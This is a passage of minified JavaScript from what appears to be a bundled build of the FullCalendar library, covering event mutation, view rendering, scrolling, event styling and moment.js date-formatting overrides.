t.className&&(this.className=t.className.split(/\s+/)),!0},e.prototype.applyMiscProps=function(e){r.extend(this.miscProps,e)},e.uuid=0,e.defineStandardProps=o.default.defineStandardProps,e.copyVerbatimStandardProps=o.default.copyVerbatimStandardProps,e}();t.default=i,o.default.mixInto(i),i.defineStandardProps({_id:!1,id:!1,className:!1,source:!1,title:!0,url:!0,rendering:!0,constraint:!0,overlap:!0,editable:!0,startEditable:!0,durationEditable:!0,color:!0,backgroundColor:!0,borderColor:!0,textColor:!0})},function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.default={sourceClasses:[],registerClass:function(e){this.sourceClasses.unshift(e)},parse:function(e,t){var n,r,o=this.sourceClasses;for(n=0;n<o.length;n++)if(r=o[n].parse(e,t))return r}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4),o=n(16),i=n(37),s=n(40),a=n(9),l=function(){function e(){}return e.createFromRawProps=function(t,n,a){var l,u,d,c,p=t.def,h={},f={},m={},g={},y=null,v=null;for(l in n)o.default.isStandardProp(l)?h[l]=n[l]:p.isStandardProp(l)?f[l]=n[l]:p.miscProps[l]!==n[l]&&(m[l]=n[l]);return(u=o.default.parse(h,p.source))&&(d=s.default.createFromDiff(t.dateProfile,u,a)),f.id!==p.id&&(y=f.id),r.isArraysEqual(f.className,p.className)||(v=f.className),i.default.copyVerbatimStandardProps(f,g),(c=new e).eventDefId=y,c.className=v,c.verbatimStandardProps=g,c.miscProps=m,d&&(c.dateMutation=d),c},e.prototype.mutateSingle=function(e){var t;return this.dateMutation&&(t=e.dateProfile,e.dateProfile=this.dateMutation.buildNewDateProfile(t,e.source.calendar)),null!=this.eventDefId&&(e.id=i.default.normalizeId(e.rawId=this.eventDefId)),this.className&&(e.className=this.className),this.verbatimStandardProps&&a.default.copyVerbatimStandardProps(this.verbatimStandardProps,e),this.miscProps&&e.applyMiscProps(this.miscProps),t?function(){e.dateProfile=t}:function(){}},e.prototype.setDateMutation=function(e){e&&!e.isEmpty()?this.dateMutation=e:this.dateMutation=null},e.prototype.isEmpty=function(){return!this.dateMutation},e}();t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4),o=n(16),i=function(){function e(){this.clearEnd=!1,this.forceTimed=!1,this.forceAllDay=!1}return e.createFromDiff=function(t,n,o){var i,s,a,l=t.end&&!n.end,u=t.isAllDay()&&!n.isAllDay(),d=!t.isAllDay()&&n.isAllDay();function c(e,t){return o?r.diffByUnit(e,t,o):n.isAllDay()?r.diffDay(e,t):r.diffDayTime(e,t)}return i=c(n.start,t.start),n.end&&(s=c(n.unzonedRange.getEnd(),t.unzonedRange.getEnd()).subtract(i)),(a=new e).clearEnd=l,a.forceTimed=u,a.forceAllDay=d,a.setDateDelta(i),a.setEndDelta(s),a},e.prototype.buildNewDateProfile=function(e,t){var n=e.start.clone(),r=null,i=!1;return e.end&&!this.clearEnd?r=e.end.clone():this.endDelta&&!r&&(r=t.getDefaultEventEnd(e.isAllDay(),n)),this.forceTimed?(i=!0,n.hasTime()||n.time(0),r&&!r.hasTime()&&r.time(0)):this.forceAllDay&&(n.hasTime()&&n.stripTime(),r&&r.hasTime()&&r.stripTime()),this.dateDelta&&(i=!0,n.add(this.dateDelta),r&&r.add(this.dateDelta)),this.endDelta&&(i=!0,r.add(this.endDelta)),this.startDelta&&(i=!0,n.add(this.startDelta)),i&&(n=t.applyTimezone(n),r&&(r=t.applyTimezone(r))),!r&&t.opt("forceEventDuration")&&(r=t.getDefaultEventEnd(e.isAllDay(),n)),new o.default(n,r,t)},e.prototype.setDateDelta=function(e){e&&e.valueOf()?this.dateDelta=e:this.dateDelta=null},e.prototype.setStartDelta=function(e){e&&e.valueOf()?this.startDelta=e:this.startDelta=null},e.prototype.setEndDelta=function(e){e&&e.valueOf()?this.endDelta=e:this.endDelta=null},e.prototype.isEmpty=function(){return!(this.clearEnd||this.forceTimed||this.forceAllDay||this.dateDelta||this.startDelta||this.endDelta)},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=function(e){function t(t){var n=e.call(this)||this;return t=t||{},n.overflowX=t.overflowX||t.overflow||"auto",n.overflowY=t.overflowY||t.overflow||"auto",n}return r.__extends(t,e),t.prototype.render=function(){this.el=this.renderEl(),this.applyOverflow()},t.prototype.renderEl=function(){return this.scrollEl=o('<div class="fc-scroller"></div>')},t.prototype.clear=function(){this.setHeight("auto"),this.applyOverflow()},t.prototype.destroy=function(){this.el.remove()},t.prototype.applyOverflow=function(){this.scrollEl.css({"overflow-x":this.overflowX,"overflow-y":this.overflowY})},t.prototype.lockOverflow=function(e){var t=this.overflowX,n=this.overflowY;e=e||this.getScrollbarWidths(),"auto"===t&&(t=e.top||e.bottom||this.scrollEl[0].scrollWidth-1>this.scrollEl[0].clientWidth?"scroll":"hidden"),"auto"===n&&(n=e.left||e.right||this.scrollEl[0].scrollHeight-1>this.scrollEl[0].clientHeight?"scroll":"hidden"),this.scrollEl.css({"overflow-x":t,"overflow-y":n})},t.prototype.setHeight=function(e){this.scrollEl.height(e)},t.prototype.getScrollTop=function(){return this.scrollEl.scrollTop()},t.prototype.setScrollTop=function(e){this.scrollEl.scrollTop(e)},t.prototype.getClientWidth=function(){return this.scrollEl[0].clientWidth},t.prototype.getClientHeight=function(){return this.scrollEl[0].clientHeight},t.prototype.getScrollbarWidths=function(){return i.getScrollbarWidths(this.scrollEl)},t}(n(35).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(231),a=n(23),l=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.segSelector=".fc-event-container > *",r.dateSelectingClass&&(r.dateClicking=new r.dateClickingClass(r)),r.dateSelectingClass&&(r.dateSelecting=new r.dateSelectingClass(r)),r.eventPointingClass&&(r.eventPointing=new r.eventPointingClass(r)),r.eventDraggingClass&&r.eventPointing&&(r.eventDragging=new r.eventDraggingClass(r,r.eventPointing)),r.eventResizingClass&&r.eventPointing&&(r.eventResizing=new r.eventResizingClass(r,r.eventPointing)),r.externalDroppingClass&&(r.externalDropping=new r.externalDroppingClass(r)),r}return r.__extends(t,e),t.prototype.setElement=function(t){e.prototype.setElement.call(this,t),this.dateClicking&&this.dateClicking.bindToEl(t),this.dateSelecting&&this.dateSelecting.bindToEl(t),this.bindAllSegHandlersToEl(t)},t.prototype.removeElement=function(){this.endInteractions(),e.prototype.removeElement.call(this)},t.prototype.executeEventUnrender=function(){this.endInteractions(),e.prototype.executeEventUnrender.call(this)},t.prototype.bindGlobalHandlers=function(){e.prototype.bindGlobalHandlers.call(this),this.externalDropping&&this.externalDropping.bindToDocument()},t.prototype.unbindGlobalHandlers=function(){e.prototype.unbindGlobalHandlers.call(this),this.externalDropping&&this.externalDropping.unbindFromDocument()},t.prototype.bindDateHandlerToEl=function(e,t,n){var r=this;this.el.on(t,(function(e){if(!o(e.target).is(r.segSelector+":not(.fc-helper),"+r.segSelector+":not(.fc-helper) *,.fc-more,a[data-goto]"))return n.call(r,e)}))},t.prototype.bindAllSegHandlersToEl=function(e){[this.eventPointing,this.eventDragging,this.eventResizing].forEach((function(t){t&&t.bindToEl(e)}))},t.prototype.bindSegHandlerToEl=function(e,t,n){var r=this;e.on(t,this.segSelector,(function(e){var t=o(e.currentTarget);if(!t.is(".fc-helper")){var i=t.data("fc-seg");if(i&&!r.shouldIgnoreEventPointing())return n.call(r,i,e)}}))},t.prototype.shouldIgnoreMouse=function(){return a.default.get().shouldIgnoreMouse()},t.prototype.shouldIgnoreTouch=function(){var e=this._getView();return e.isSelected||e.selectedEvent},t.prototype.shouldIgnoreEventPointing=function(){return this.eventDragging&&this.eventDragging.isDragging||this.eventResizing&&this.eventResizing.isResizing},t.prototype.canStartSelection=function(e,t){return i.getEvIsTouch(t)&&!this.canStartResize(e,t)&&(this.isEventDefDraggable(e.footprint.eventDef)||this.isEventDefResizable(e.footprint.eventDef))},t.prototype.canStartDrag=function(e,t){return!this.canStartResize(e,t)&&this.isEventDefDraggable(e.footprint.eventDef)},t.prototype.canStartResize=function(e,t){var n=this._getView(),r=e.footprint.eventDef;return(!i.getEvIsTouch(t)||n.isEventDefSelected(r))&&this.isEventDefResizable(r)&&o(t.target).is(".fc-resizer")},t.prototype.endInteractions=function(){[this.dateClicking,this.dateSelecting,this.eventPointing,this.eventDragging,this.eventResizing].forEach((function(e){e&&e.end()}))},t.prototype.isEventDefDraggable=function(e){return this.isEventDefStartEditable(e)},t.prototype.isEventDefStartEditable=function(e){var t=e.isStartExplicitlyEditable();return null==t&&null==(t=this.opt("eventStartEditable"))&&(t=this.isEventDefGenerallyEditable(e)),t},t.prototype.isEventDefGenerallyEditable=function(e){var t=e.isExplicitlyEditable();return null==t&&(t=this.opt("editable")),t},t.prototype.isEventDefResizableFromStart=function(e){return this.opt("eventResizableFromStart")&&this.isEventDefResizable(e)},t.prototype.isEventDefResizableFromEnd=function(e){return this.isEventDefResizable(e)},t.prototype.isEventDefResizable=function(e){var t=e.isDurationExplicitlyEditable();return null==t&&null==(t=this.opt("eventDurationEditable"))&&(t=this.isEventDefGenerallyEditable(e)),t},t.prototype.diffDates=function(e,t){return this.largeUnit?i.diffByUnit(e,t,this.largeUnit):i.diffDayTime(e,t)},t.prototype.isEventInstanceGroupAllowed=function(e){var t,n=this._getView(),r=this.dateProfile,o=this.eventRangesToEventFootprints(e.getAllEventRanges());for(t=0;t<o.length;t++)if(!r.validUnzonedRange.containsRange(o[t].componentFootprint.unzonedRange))return!1;return n.calendar.constraints.isEventInstanceGroupAllowed(e)},t.prototype.isExternalInstanceGroupAllowed=function(e){var t,n=this._getView(),r=this.dateProfile,o=this.eventRangesToEventFootprints(e.getAllEventRanges());for(t=0;t<o.length;t++)if(!r.validUnzonedRange.containsRange(o[t].componentFootprint.unzonedRange))return!1;for(t=0;t<o.length;t++)if(!n.calendar.constraints.isSelectionFootprintAllowed(o[t].componentFootprint))return!1;return!0},t}(s.default);t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(0),s=n(4),a=n(229),l=n(55),u=n(42),d=n(23),c=n(5),p=function(e){function t(t,n){var r=e.call(this,null,n.options)||this;return r.batchRenderDepth=0,r.isSelected=!1,r.calendar=t,r.viewSpec=n,r.type=n.type,r.name=r.type,r.initRenderQueue(),r.initHiddenDays(),r.dateProfileGenerator=new r.dateProfileGeneratorClass(r),r.bindBaseRenderHandlers(),r.eventOrderSpecs=s.parseFieldSpecs(r.opt("eventOrder")),r.initialize&&r.initialize(),r}return r.__extends(t,e),t.prototype._getView=function(){return this},t.prototype.opt=function(e){return this.options[e]},t.prototype.initRenderQueue=function(){this.renderQueue=new a.default({event:this.opt("eventRenderWait")}),this.renderQueue.on("start",this.onRenderQueueStart.bind(this)),this.renderQueue.on("stop",this.onRenderQueueStop.bind(this)),this.on("before:change",this.startBatchRender),this.on("change",this.stopBatchRender)},t.prototype.onRenderQueueStart=function(){this.calendar.freezeContentHeight(),this.addScroll(this.queryScroll())},t.prototype.onRenderQueueStop=function(){this.calendar.updateViewSize()&&this.popScroll(),this.calendar.thawContentHeight()},t.prototype.startBatchRender=function(){this.batchRenderDepth++||this.renderQueue.pause()},t.prototype.stopBatchRender=function(){--this.batchRenderDepth||this.renderQueue.resume()},t.prototype.requestRender=function(e,t,n){this.renderQueue.queue(e,t,n)},t.prototype.whenSizeUpdated=function(e){this.renderQueue.isRunning?this.renderQueue.one("stop",e.bind(this)):e.call(this)},t.prototype.computeTitle=function(e){var t;return t=/^(year|month)$/.test(e.currentRangeUnit)?e.currentUnzonedRange:e.activeUnzonedRange,this.formatRange({start:this.calendar.msToMoment(t.startMs,e.isRangeAllDay),end:this.calendar.msToMoment(t.endMs,e.isRangeAllDay)},e.isRangeAllDay,this.opt("titleFormat")||this.computeTitleFormat(e),this.opt("titleRangeSeparator"))},t.prototype.computeTitleFormat=function(e){var t=e.currentRangeUnit;return"year"===t?"YYYY":"month"===t?this.opt("monthYearFormat"):e.currentUnzonedRange.as("days")>1?"ll":"LL"},t.prototype.setDate=function(e){var t=this.get("dateProfile"),n=this.dateProfileGenerator.build(e,void 0,!0);t&&t.activeUnzonedRange.equals(n.activeUnzonedRange)||this.set("dateProfile",n)},t.prototype.unsetDate=function(){this.unset("dateProfile")},t.prototype.fetchInitialEvents=function(e){var t=this.calendar,n=e.isRangeAllDay&&!this.usesMinMaxTime;return t.requestEvents(t.msToMoment(e.activeUnzonedRange.startMs,n),t.msToMoment(e.activeUnzonedRange.endMs,n))},t.prototype.bindEventChanges=function(){this.listenTo(this.calendar,"eventsReset",this.resetEvents)},t.prototype.unbindEventChanges=function(){this.stopListeningTo(this.calendar,"eventsReset")},t.prototype.setEvents=function(e){this.set("currentEvents",e),this.set("hasEvents",!0)},t.prototype.unsetEvents=function(){this.unset("currentEvents"),this.unset("hasEvents")},t.prototype.resetEvents=function(e){this.startBatchRender(),this.unsetEvents(),this.setEvents(e),this.stopBatchRender()},t.prototype.requestDateRender=function(e){var t=this;this.requestRender((function(){t.executeDateRender(e)}),"date","init")},t.prototype.requestDateUnrender=function(){var e=this;this.requestRender((function(){e.executeDateUnrender()}),"date","destroy")},t.prototype.executeDateRender=function(t){e.prototype.executeDateRender.call(this,t),this.render&&this.render(),this.trigger("datesRendered"),this.addScroll({isDateInit:!0}),this.startNowIndicator()},t.prototype.executeDateUnrender=function(){this.unselect(),this.stopNowIndicator(),this.trigger("before:datesUnrendered"),this.destroy&&this.destroy(),e.prototype.executeDateUnrender.call(this)},t.prototype.bindBaseRenderHandlers=function(){var e=this;this.on("datesRendered",(function(){e.whenSizeUpdated(e.triggerViewRender)})),this.on("before:datesUnrendered",(function(){e.triggerViewDestroy()}))},t.prototype.triggerViewRender=function(){this.publiclyTrigger("viewRender",{context:this,args:[this,this.el]})},t.prototype.triggerViewDestroy=function(){this.publiclyTrigger("viewDestroy",{context:this,args:[this,this.el]})},t.prototype.requestEventsRender=function(e){var t=this;this.requestRender((function(){t.executeEventRender(e),t.whenSizeUpdated(t.triggerAfterEventsRendered)}),"event","init")},t.prototype.requestEventsUnrender=function(){var e=this;this.requestRender((function(){e.triggerBeforeEventsDestroyed(),e.executeEventUnrender()}),"event","destroy")},t.prototype.requestBusinessHoursRender=function(e){var t=this;this.requestRender((function(){t.renderBusinessHours(e)}),"businessHours","init")},t.prototype.requestBusinessHoursUnrender=function(){var e=this;this.requestRender((function(){e.unrenderBusinessHours()}),"businessHours","destroy")},t.prototype.bindGlobalHandlers=function(){e.prototype.bindGlobalHandlers.call(this),this.listenTo(d.default.get(),{touchstart:this.processUnselect,mousedown:this.handleDocumentMousedown})},t.prototype.unbindGlobalHandlers=function(){e.prototype.unbindGlobalHandlers.call(this),this.stopListeningTo(d.default.get())},t.prototype.startNowIndicator=function(){var e,t,n,r=this;this.opt("nowIndicator")&&(e=this.getNowIndicatorUnit())&&(t=s.proxy(this,"updateNowIndicator"),this.initialNowDate=this.calendar.getNow(),this.initialNowQueriedMs=(new Date).valueOf(),n=this.initialNowDate.clone().startOf(e).add(1,e).valueOf()-this.initialNowDate.valueOf(),this.nowIndicatorTimeoutID=setTimeout((function(){r.nowIndicatorTimeoutID=null,t(),n=+i.duration(1,e),n=Math.max(100,n),r.nowIndicatorIntervalID=setInterval(t,n)}),n))},t.prototype.updateNowIndicator=function(){this.isDatesRendered&&this.initialNowDate&&(this.unrenderNowIndicator(),this.renderNowIndicator(this.initialNowDate.clone().add((new Date).valueOf()-this.initialNowQueriedMs)),this.isNowIndicatorRendered=!0)},t.prototype.stopNowIndicator=function(){this.isNowIndicatorRendered&&(this.nowIndicatorTimeoutID&&(clearTimeout(this.nowIndicatorTimeoutID),this.nowIndicatorTimeoutID=null),this.nowIndicatorIntervalID&&(clearInterval(this.nowIndicatorIntervalID),this.nowIndicatorIntervalID=null),this.unrenderNowIndicator(),this.isNowIndicatorRendered=!1)},t.prototype.updateSize=function(t,n,r){this.setHeight?this.setHeight(t,n):e.prototype.updateSize.call(this,t,n,r),this.updateNowIndicator()},t.prototype.addScroll=function(e){var t=this.queuedScroll||(this.queuedScroll={});o.extend(t,e)},t.prototype.popScroll=function(){this.applyQueuedScroll(),this.queuedScroll=null},t.prototype.applyQueuedScroll=function(){this.queuedScroll&&this.applyScroll(this.queuedScroll)},t.prototype.queryScroll=function(){var e={};return this.isDatesRendered&&o.extend(e,this.queryDateScroll()),e},t.prototype.applyScroll=function(e){e.isDateInit&&this.isDatesRendered&&o.extend(e,this.computeInitialDateScroll()),this.isDatesRendered&&this.applyDateScroll(e)},t.prototype.computeInitialDateScroll=function(){return{}},t.prototype.queryDateScroll=function(){return{}},t.prototype.applyDateScroll=function(e){},t.prototype.reportEventDrop=function(e,t,n,r){var o=this.calendar.eventManager.mutateEventsWithId(e.def.id,t),s=t.dateMutation;s&&(e.dateProfile=s.buildNewDateProfile(e.dateProfile,this.calendar)),this.triggerEventDrop(e,s&&s.dateDelta||i.duration(),o,n,r)},t.prototype.triggerEventDrop=function(e,t,n,r,o){this.publiclyTrigger("eventDrop",{context:r[0],args:[e.toLegacy(),t,n,o,{},this]})},t.prototype.reportExternalDrop=function(e,t,n,r,o,i){t&&this.calendar.eventManager.addEventDef(e,n),this.triggerExternalDrop(e,t,r,o,i)},t.prototype.triggerExternalDrop=function(e,t,n,r,o){this.publiclyTrigger("drop",{context:n[0],args:[e.dateProfile.start.clone(),r,o,this]}),t&&this.publiclyTrigger("eventReceive",{context:this,args:[e.buildInstance().toLegacy(),this]})},t.prototype.reportEventResize=function(e,t,n,r){var o=this.calendar.eventManager.mutateEventsWithId(e.def.id,t);e.dateProfile=t.dateMutation.buildNewDateProfile(e.dateProfile,this.calendar);var i=t.dateMutation.endDelta||t.dateMutation.startDelta;this.triggerEventResize(e,i,o,n,r)},t.prototype.triggerEventResize=function(e,t,n,r,o){this.publiclyTrigger("eventResize",{context:r[0],args:[e.toLegacy(),t,n,o,{},this]})},t.prototype.select=function(e,t){this.unselect(t),this.renderSelectionFootprint(e),this.reportSelection(e,t)},t.prototype.renderSelectionFootprint=function(t){this.renderSelection?this.renderSelection(t.toLegacy(this.calendar)):e.prototype.renderSelectionFootprint.call(this,t)},t.prototype.reportSelection=function(e,t){this.isSelected=!0,this.triggerSelect(e,t)},t.prototype.triggerSelect=function(e,t){var n=this.calendar.footprintToDateProfile(e);this.publiclyTrigger("select",{context:this,args:[n.start,n.end,t,this]})},t.prototype.unselect=function(e){this.isSelected&&(this.isSelected=!1,this.destroySelection&&this.destroySelection(),this.unrenderSelection(),this.publiclyTrigger("unselect",{context:this,args:[e,this]}))},t.prototype.selectEventInstance=function(e){this.selectedEventInstance&&this.selectedEventInstance===e||(this.unselectEventInstance(),this.getEventSegs().forEach((function(t){t.footprint.eventInstance===e&&t.el&&t.el.addClass("fc-selected")})),this.selectedEventInstance=e)},t.prototype.unselectEventInstance=function(){this.selectedEventInstance&&(this.getEventSegs().forEach((function(e){e.el&&e.el.removeClass("fc-selected")})),this.selectedEventInstance=null)},t.prototype.isEventDefSelected=function(e){return this.selectedEventInstance&&this.selectedEventInstance.def.id===e.id},t.prototype.handleDocumentMousedown=function(e){s.isPrimaryMouseButton(e)&&this.processUnselect(e)},t.prototype.processUnselect=function(e){this.processRangeUnselect(e),this.processEventUnselect(e)},t.prototype.processRangeUnselect=function(e){var t;this.isSelected&&this.opt("unselectAuto")&&((t=this.opt("unselectCancel"))&&o(e.target).closest(t).length||this.unselect(e))},t.prototype.processEventUnselect=function(e){this.selectedEventInstance&&(o(e.target).closest(".fc-selected").length||this.unselectEventInstance())},t.prototype.triggerBaseRendered=function(){this.publiclyTrigger("viewRender",{context:this,args:[this,this.el]})},t.prototype.triggerBaseUnrendered=function(){this.publiclyTrigger("viewDestroy",{context:this,args:[this,this.el]})},t.prototype.triggerDayClick=function(e,t,n){var r=this.calendar.footprintToDateProfile(e);this.publiclyTrigger("dayClick",{context:t,args:[r.start,n,this]})},t.prototype.isDateInOtherMonth=function(e,t){return!1},t.prototype.getUnzonedRangeOption=function(e){var t=this.opt(e);if("function"==typeof t&&(t=t.apply(null,Array.prototype.slice.call(arguments,1))),t)return this.calendar.parseUnzonedRange(t)},t.prototype.initHiddenDays=function(){var e,t=this.opt("hiddenDays")||[],n=[],r=0;for(!1===this.opt("weekends")&&t.push(0,6),e=0;e<7;e++)(n[e]=-1!==o.inArray(e,t))||r++;if(!r)throw new Error("invalid hiddenDays");this.isHiddenDayHash=n},t.prototype.trimHiddenDays=function(e){var t=e.getStart(),n=e.getEnd();return t&&(t=this.skipHiddenDays(t)),n&&(n=this.skipHiddenDays(n,-1,!0)),null===t||null===n||t<n?new c.default(t,n):null},t.prototype.isHiddenDay=function(e){return i.isMoment(e)&&(e=e.day()),this.isHiddenDayHash[e]},t.prototype.skipHiddenDays=function(e,t,n){void 0===t&&(t=1),void 0===n&&(n=!1);for(var r=e.clone();this.isHiddenDayHash[(r.day()+(n?t:0)+7)%7];)r.add(t,"days");return r},t}(u.default);t.default=p,p.prototype.usesMinMaxTime=!1,p.prototype.dateProfileGeneratorClass=l.default,p.watch("displayingDates",["isInDom","dateProfile"],(function(e){this.requestDateRender(e.dateProfile)}),(function(){this.requestDateUnrender()})),p.watch("displayingBusinessHours",["displayingDates","businessHourGenerator"],(function(e){this.requestBusinessHoursRender(e.businessHourGenerator)}),(function(){this.requestBusinessHoursUnrender()})),p.watch("initialEvents",["dateProfile"],(function(e){return this.fetchInitialEvents(e.dateProfile)})),p.watch("bindingEvents",["initialEvents"],(function(e){this.setEvents(e.initialEvents),this.bindEventChanges()}),(function(){this.unbindEventChanges(),this.unsetEvents()})),p.watch("displayingEvents",["displayingDates","hasEvents"],(function(){this.requestEventsRender(this.get("currentEvents"))}),(function(){this.requestEventsUnrender()})),p.watch("title",["dateProfile"],(function(e){return this.title=this.computeTitle(e.dateProfile)})),p.watch("legacyDateProps",["dateProfile"],(function(e){var t=this.calendar,n=e.dateProfile;this.start=t.msToMoment(n.activeUnzonedRange.startMs,n.isRangeAllDay),this.end=t.msToMoment(n.activeUnzonedRange.endMs,n.isRangeAllDay),this.intervalStart=t.msToMoment(n.currentUnzonedRange.startMs,n.isRangeAllDay),this.intervalEnd=t.msToMoment(n.currentUnzonedRange.endMs,n.isRangeAllDay)}))},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=function(){function e(e,t){this.view=e._getView(),this.component=e,this.fillRenderer=t}return e.prototype.opt=function(e){return this.view.opt(e)},e.prototype.rangeUpdated=function(){var e,t;this.eventTimeFormat=this.opt("eventTimeFormat")||this.opt("timeFormat")||this.computeEventTimeFormat(),null==(e=this.opt("displayEventTime"))&&(e=this.computeDisplayEventTime()),null==(t=this.opt("displayEventEnd"))&&(t=this.computeDisplayEventEnd()),this.displayEventTime=e,this.displayEventEnd=t},e.prototype.render=function(e){var t,n,r,o=this.component._getDateProfile(),i=[],s=[];for(t in e)r=(n=e[t]).sliceRenderRanges(o.activeUnzonedRange),n.getEventDef().hasBgRendering()?i.push.apply(i,r):s.push.apply(s,r);this.renderBgRanges(i),this.renderFgRanges(s)},e.prototype.unrender=function(){this.unrenderBgRanges(),this.unrenderFgRanges()},e.prototype.renderFgRanges=function(e){var t=this.component.eventRangesToEventFootprints(e),n=this.component.eventFootprintsToSegs(t);n=this.renderFgSegEls(n),!1!==this.renderFgSegs(n)&&(this.fgSegs=n)},e.prototype.unrenderFgRanges=function(){this.unrenderFgSegs(this.fgSegs||[]),this.fgSegs=null},e.prototype.renderBgRanges=function(e){var t=this.component.eventRangesToEventFootprints(e),n=this.component.eventFootprintsToSegs(t);!1!==this.renderBgSegs(n)&&(this.bgSegs=n)},e.prototype.unrenderBgRanges=function(){this.unrenderBgSegs(),this.bgSegs=null},e.prototype.getSegs=function(){return(this.bgSegs||[]).concat(this.fgSegs||[])},e.prototype.renderFgSegs=function(e){return!1},e.prototype.unrenderFgSegs=function(e){},e.prototype.renderBgSegs=function(e){var t=this;if(!this.fillRenderer)return!1;this.fillRenderer.renderSegs("bgEvent",e,{getClasses:function(e){return t.getBgClasses(e.footprint.eventDef)},getCss:function(e){return{"background-color":t.getBgColor(e.footprint.eventDef)}},filterEl:function(e,n){return t.filterEventRenderEl(e.footprint,n)}})},e.prototype.unrenderBgSegs=function(){this.fillRenderer&&this.fillRenderer.unrender("bgEvent")},e.prototype.renderFgSegEls=function(e,t){var n=this;void 0===t&&(t=!1);var o,i=this.view.hasPublicHandlers("eventRender"),s="",a=[];if(e.length){for(o=0;o<e.length;o++)this.beforeFgSegHtml(e[o]),s+=this.fgSegHtml(e[o],t);r(s).each((function(t,o){var s=e[t],l=r(o);i&&(l=n.filterEventRenderEl(s.footprint,l)),l&&(l.data("fc-seg",s),s.el=l,a.push(s))}))}return a},e.prototype.beforeFgSegHtml=function(e){},e.prototype.fgSegHtml=function(e,t){},e.prototype.getSegClasses=function(e,t,n){var r=["fc-event",e.isStart?"fc-start":"fc-not-start",e.isEnd?"fc-end":"fc-not-end"].concat(this.getClasses(e.footprint.eventDef));return t&&r.push("fc-draggable"),n&&r.push("fc-resizable"),this.view.isEventDefSelected(e.footprint.eventDef)&&r.push("fc-selected"),r},e.prototype.filterEventRenderEl=function(e,t){var n=e.getEventLegacy(),o=this.view.publiclyTrigger("eventRender",{context:n,args:[n,t,this.view]});return!1===o?t=null:o&&!0!==o&&(t=r(o)),t},e.prototype.getTimeText=function(e,t,n){return this._getTimeText(e.eventInstance.dateProfile.start,e.eventInstance.dateProfile.end,e.componentFootprint.isAllDay,t,n)},e.prototype._getTimeText=function(e,t,n,r,o){return null==r&&(r=this.eventTimeFormat),null==o&&(o=this.displayEventEnd),this.displayEventTime&&!n?o&&t?this.view.formatRange({start:e,end:t},!1,r):e.format(r):""},e.prototype.computeEventTimeFormat=function(){return this.opt("smallTimeFormat")},e.prototype.computeDisplayEventTime=function(){return!0},e.prototype.computeDisplayEventEnd=function(){return!0},e.prototype.getBgClasses=function(e){var t=this.getClasses(e);return t.push("fc-bgevent"),t},e.prototype.getClasses=function(e){var t,n=this.getStylingObjs(e),r=[];for(t=0;t<n.length;t++)r.push.apply(r,n[t].eventClassName||n[t].className||[]);return r},e.prototype.getSkinCss=function(e){return{"background-color":this.getBgColor(e),"border-color":this.getBorderColor(e),color:this.getTextColor(e)}},e.prototype.getBgColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventBackgroundColor||r[t].eventColor||r[t].backgroundColor||r[t].color;return n||(n=this.opt("eventBackgroundColor")||this.opt("eventColor")),n},e.prototype.getBorderColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventBorderColor||r[t].eventColor||r[t].borderColor||r[t].color;return n||(n=this.opt("eventBorderColor")||this.opt("eventColor")),n},e.prototype.getTextColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventTextColor||r[t].textColor;return n||(n=this.opt("eventTextColor")),n},e.prototype.getStylingObjs=function(e){var t=this.getFallbackStylingObjs(e);return t.unshift(e),t},e.prototype.getFallbackStylingObjs=function(e){return[e.source]},e.prototype.sortEventSegs=function(e){e.sort(o.proxy(this,"compareEventSegs"))},e.prototype.compareEventSegs=function(e,t){var n=e.footprint,r=t.footprint,i=n.componentFootprint,s=r.componentFootprint,a=i.unzonedRange,l=s.unzonedRange;return a.startMs-l.startMs||l.endMs-l.startMs-(a.endMs-a.startMs)||s.isAllDay-i.isAllDay||o.compareByFieldSpecs(n.eventDef,r.eventDef,this.view.eventOrderSpecs,n.eventDef.miscProps,r.eventDef.miscProps)},e}();t.default=i},,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(11);function o(e){return"en"!==e.locale()?e.clone().locale("en"):e}r.newMomentProto.format=function(){return this._fullCalendar&&arguments[0]?l(this,arguments[0]):this._ambigTime?r.oldMomentFormat(o(this),"YYYY-MM-DD"):this._ambigZone?r.oldMomentFormat(o(this),"YYYY-MM-DD[T]HH:mm:ss"):this._fullCalendar?r.oldMomentFormat(o(this)):r.oldMomentProto.format.apply(this,arguments)},r.newMomentProto.toISOString=function(){return this._ambigTime?r.oldMomentFormat(o(this),"YYYY-MM-DD"):this._ambigZone?r.oldMomentFormat(o(this),"YYYY-MM-DD[T]HH:mm:ss"):this._fullCalendar?r.oldMomentProto.toISOString.apply(o(this),arguments):r.oldMomentProto.toISOString.apply(this,arguments)};var i=new RegExp("([^]*)","g"),s={t:function(e){return r.oldMomentFormat(e,"a").charAt(0)},T:function(e){return r.oldMomentFormat(e,"A").charAt(0)}},a={Y:{value:1,unit:"year"},M:{value:2,unit:"month"},W:{value:3,unit:"week"},w:{value:3,unit:"week"},D:{value:4,unit:"day"},d:{value:4,unit:"day"}};function l(e,t){return function(e,t){return g(m(e,t).join(""))}(d(t).fakeFormatString,e)}t.formatDate=l,t.formatRange=function(e,t,n,o,i){return e=r.default.parseZone(e),t=r.default.parseZone(t),function(e,t,n,r,o){var 